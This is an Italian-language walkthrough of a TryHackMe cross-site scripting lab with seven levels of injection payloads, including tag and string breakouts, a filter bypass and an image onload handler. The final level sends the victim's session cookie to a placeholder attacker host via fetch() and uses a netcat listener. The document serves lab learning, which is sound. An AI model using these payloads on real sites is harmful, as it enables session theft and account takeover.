Challenge TryHackMe
LEVEL 1: Al posto del nome inserire lo script
LEVEL 1:
Al posto del nome inserire lo script
<script>alert('THM');</script>
LEVEL 2:
Al posto del nome inserire lo script:
il payload "> serve perchè il parametro del nome andava inserito in un input, quindi il payload "> serve per chiudere il tag input"><script>alert('THM');</script>
LEVEL 3:
Al posto del nome inserire lo script
il payload
</textarea><script>alert('THM');</script>
LEVEL 4:
Al posto del nome inserire lo script
questo payload serve perchè il parametro era processato in una stringa di codice javascript, quindi '; serve per terminare la riga di codice, e // serve per non permettere che questa stringa diventi un commento';alert('THM');//
LEVEL 5:
Al posto del nome inserire lo script Text to be removed (by the filter): <sscriptcript>alert('THM');</sscriptcript> Final Payload (after passing the filter): <script>alert('THM');</script>Original Payload: <sscriptcript>alert('THM');</sscriptcript>
LEVEL 6:
Qui al posto del nome, dovevamo inserire il path di un immagine, quindi: "/images/cat.jpg" onload="alert(THM);"
LEVEL 7:
Qui andiamo ad inserire in un form questa richiesta:
Cosi andremo ad inviare il session cookie della vittima al nostro terminale con netcat in ascolto:
</textarea><script>fetch('http://MIO_IP:PORTA_NETCAT?cookie=' + btoa(document.cookie) );</script>nc -nlvp 9001